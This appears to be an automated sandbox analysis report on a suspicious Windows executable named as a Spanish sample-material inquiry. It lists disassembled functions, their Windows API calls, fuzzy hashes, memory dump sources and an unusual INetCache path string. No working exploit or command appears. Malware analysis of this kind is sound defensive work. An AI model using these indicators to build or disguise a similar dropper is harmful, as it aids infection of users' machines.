Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4784776ad36cee7dacfbc570a3b89c3e4a57ef9a9f8d064079d0f4fc454e28eb
Instruction ID: c23ad3d9d814670b9e5664e680d4ed6fd6c27bb1f69e79231988cb8a8a550e85
Opcode Fuzzy Hash: 4784776ad36cee7dacfbc570a3b89c3e4a57ef9a9f8d064079d0f4fc454e28eb
Instruction Fuzzy Hash: CCD01232704104D7DB10DBA4AB4869D73A1EB40369B218577D602F21D0D6B9CA919B29

Function 00404322 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404334

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c2a25a807fea80bd58a61b321fa2af33aa5b35e52655131f61520799e32131e4
Instruction ID: 8a3813f545c22c4fb684de807d70b5cf20617c54f99984af9f55df869fa0abe2
Opcode Fuzzy Hash: c2a25a807fea80bd58a61b321fa2af33aa5b35e52655131f61520799e32131e4
Instruction Fuzzy Hash: B2C09B71740700BBDA20DF649D45F5777547764701F1488797741F60E0C674D410D62C

Function 00403402 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403100,?), ref: 00403410

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction ID: 64c0fffafe8abe290eaf2022e63b776f1a4a3bd25e2fde741040b5855636c72c
Opcode Fuzzy Hash: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction Fuzzy Hash: 70B01231140300BFDA214F00DF09F057B21AB90700F10C034B344780F086711075EB0D

Function 0040430B Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,00404137), ref: 00404319

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7bbf2f5232cd2574a5b007ccbcd78797cc8e3f4bb2dd07224d7ba7f17a9ad77c
Instruction ID: 3e0bacd84e958153637e663f6e0df00a268db6e73930f78988907d41dcf2010e
Opcode Fuzzy Hash: 7bbf2f5232cd2574a5b007ccbcd78797cc8e3f4bb2dd07224d7ba7f17a9ad77c
Instruction Fuzzy Hash: 32B01235290A00FBDE214B00EE09F457E62F76C701F008478B340240F0CAB300B1DB19

Function 004042F8 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004040D0), ref: 00404302

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 8a62e99fe4a67b047fdc914663d327e58adf51456459288db10dd5d3044e9a2e
Instruction ID: ea629541fdd2228df96855dc4de4e407fdbb002a66502a1a5a86269346c048a7
Opcode Fuzzy Hash: 8a62e99fe4a67b047fdc914663d327e58adf51456459288db10dd5d3044e9a2e
Instruction Fuzzy Hash: C0A001B6644500ABCE129F90EF49D0ABBB2EBE8742B518579A285900348A364961EB59

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: dffe1429d4050f1f12f5951f55831759b2beb43ad3b1e2ff8886794f17acb97d
Instruction ID: 8e321c80e88a1319f2525a3d5ae6c8193a45d3eb8196d3f8087198c45f82dbda
Opcode Fuzzy Hash: dffe1429d4050f1f12f5951f55831759b2beb43ad3b1e2ff8886794f17acb97d
Instruction Fuzzy Hash: 05D05E73B141048BD720DBB8BE8585E73A8EB403193218837D402E1191E6B8C8524628

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 00404CED Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404D05
GetDlgItem.USER32(?,00000408), ref: 00404D10
GlobalAlloc.KERNEL32(00000040,?), ref: 00404D5A
LoadBitmapW.USER32(0000006E), ref: 00404D6D
SetWindowLongW.USER32(?,000000FC,004052E5), ref: 00404D86
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D9A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404DAC
SendMessageW.USER32(?,00001109,00000002), ref: 00404DC2
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404DCE
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404DE0
DeleteObject.GDI32(00000000), ref: 00404DE3
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404E0E
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404E1A
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404EB0
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404EDB
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404EEF
GetWindowLongW.USER32(?,000000F0), ref: 00404F1E
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404F2C
ShowWindow.USER32(?,00000005), ref: 00404F3D
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040503A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040509F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004050D8
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004050F8
ImageList_Destroy.COMCTL32(?), ref: 0040510D
GlobalFree.KERNEL32(?), ref: 0040511D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405196
SendMessageW.USER32(?,00001102,?,?), ref: 0040523F
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040524E
InvalidateRect.USER32(?,00000000,?), ref: 0040526E
ShowWindow.USER32(?,00000000), ref: 004052BC
GetDlgItem.USER32(?,000003FE), ref: 004052C7
ShowWindow.USER32(00000000), ref: 004052CE

Strings

N, xrefs: 00404F78
M, xrefs: 00404E97
, xrefs: 004052A6

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: a20ec76394ec9aa9d7ee758541d4fa6294dbf0a1b8cf6e8fb4ee4d3cfcbb4640
Instruction ID: fabf201a6726aaeed1f236dd7cd6744ceb795820712aa309ba6ddf90c5850425
Opcode Fuzzy Hash: a20ec76394ec9aa9d7ee758541d4fa6294dbf0a1b8cf6e8fb4ee4d3cfcbb4640
Instruction Fuzzy Hash: A4027DB0A00209EFDF209F54CD85AAE7BB5FB44314F50817AE610BA2E0D7799E52DF58

Function 00404771 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004047C0
SetWindowTextW.USER32(00000000,?), ref: 004047EA
SHBrowseForFolderW.SHELL32(?), ref: 0040489B
CoTaskMemFree.OLE32(00000000), ref: 004048A6
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004048D8
lstrcatW.KERNEL32(?,Call), ref: 004048E4
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004048F6

Part of subcall function 0040593B: GetDlgItemTextW.USER32(?,?,00000400,0040492D), ref: 0040594E

Part of subcall function 004064A6: CharNextW.USER32(?,*?|<>/":,00000000,00000000,758E3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00403425,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 00406509
Part of subcall function 004064A6: CharNextW.USER32(?,?,?,00000000), ref: 00406518
Part of subcall function 004064A6: CharNextW.USER32(?,00000000,758E3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00403425,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 0040651D
Part of subcall function 004064A6: CharPrevW.USER32(?,?,758E3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00403425,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 00406530

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,?,004216F8,?,?,000003FB,?), ref: 004049B9
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004049D4

Part of subcall function 00404B2D: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404BCE
Part of subcall function 00404B2D: wsprintfW.USER32 ref: 00404BD7
Part of subcall function 00404B2D: SetDlgItemTextW.USER32(?,00423728), ref: 00404BEA

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 004048C1
A, xrefs: 00404894
Call, xrefs: 004048D2, 004048D7, 004048E2
(7B, xrefs: 0040486E

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable$Call
API String ID: 2624150263-118744990
Opcode ID: e43852254ac290d899d2cb30e4ffd6e16939f72f52f3a6c30364b771b279711a
Instruction ID: 8b4fcc303a4382937c11c1a66aa2d821073b610587f94151fb5846b241658984
Opcode Fuzzy Hash: e43852254ac290d899d2cb30e4ffd6e16939f72f52f3a6c30364b771b279711a
Instruction Fuzzy Hash: 13A14FF1A00209ABDB11AFA5C941AAF77B8EF84314F10847BF611B62D1D77C8A418F6D

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,?,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable
API String ID: 542301482-629450151
Opcode ID: 0519aca3a68a9cf68f5a6bf32b8fcb60afd388f437e2041e453cdf2473d95122
Instruction ID: b00d62d96fbd26c6029c0673ccd5b1c7279e8b7dfa3a64310cdf9804068cc62f
Opcode Fuzzy Hash: 0519aca3a68a9cf68f5a6bf32b8fcb60afd388f437e2041e453cdf2473d95122
Instruction Fuzzy Hash: C5414C71A00219AFCB00EFE4C988A9D7BB5FF48358B20457AF505EB2D1DB799982CB54

Function 0040287E Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040288D

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 58610e95729055a9165323d133a092269c39768998a2b5c230b5dd1e10f9a37f
Instruction ID: 47d6d4f0c9e08c45c0f9c68b677465f339eb18c6442485c4f22287ce904ecf90
Opcode Fuzzy Hash: 58610e95729055a9165323d133a092269c39768998a2b5c230b5dd1e10f9a37f
Instruction Fuzzy Hash: 76F08971A04104DBDB50EBE4D94999DB374EF14314F2185BBE112F71D0D7B849819B29

Function 00404473 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 00404511
GetDlgItem.USER32(?,000003E8), ref: 00404525
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 00404542
GetSysColor.USER32(?), ref: 00404553
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404561
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040456F
lstrlenW.KERNEL32(?), ref: 00404574
